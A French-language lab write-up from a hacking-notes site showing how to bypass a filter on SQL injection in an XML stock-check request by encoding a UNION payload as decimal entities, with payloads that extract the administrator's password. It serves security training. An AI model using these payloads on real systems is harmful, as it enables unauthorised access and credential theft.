> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/sql-injection/sql-injection-filter-bypass-via-xml-encoding.md).

# Contournement de filtre d'injection SQL avec encodage XML

### Injection SQL avec contournement de filtre via encodage XML

Ce laboratoire contient une vulnérabilité d’injection SQL dans la fonctionnalité de vérification du stock. Les résultats de la requête sont renvoyés dans la réponse de l’application ; nous pouvons donc utiliser une `UNION` attaque pour récupérer des données d’autres tables. / La base de données contient un `users` table contenant les noms d’utilisateur et les mots de passe des utilisateurs enregistrés. Pour résoudre le laboratoire, effectuez une attaque par injection SQL pour récupérer les ID de l’utilisateur admin, puis connectez-vous à son compte.

Exemples fournis :

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
  <productId>2</productId>
  <storeId>2 union select 1</storeId>
</stockCheck>
```

{% endcode %}

<figure><img src="/files/3e2dff94ece2fc20336b21ee8f3670ea4a25285d" alt=""><figcaption></figcaption></figure>

* Extension Hackvertor — entités décimales

<figure><img src="/files/4d7dce5764f3605480dc07bab46c1f609d2ac706" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
  <productId>2</productId>
  <storeId><@dec_entities>2 union select 1</@dec_entities></storeId>
</stockCheck>

<@dec_entities>
2 union select password from users where username='administrator'
</@dec_entities>
```

{% endcode %}

<figure><img src="/files/b4638faec0155c462a672a8c4a7bc648598022bc" alt=""><figcaption></figcaption></figure>


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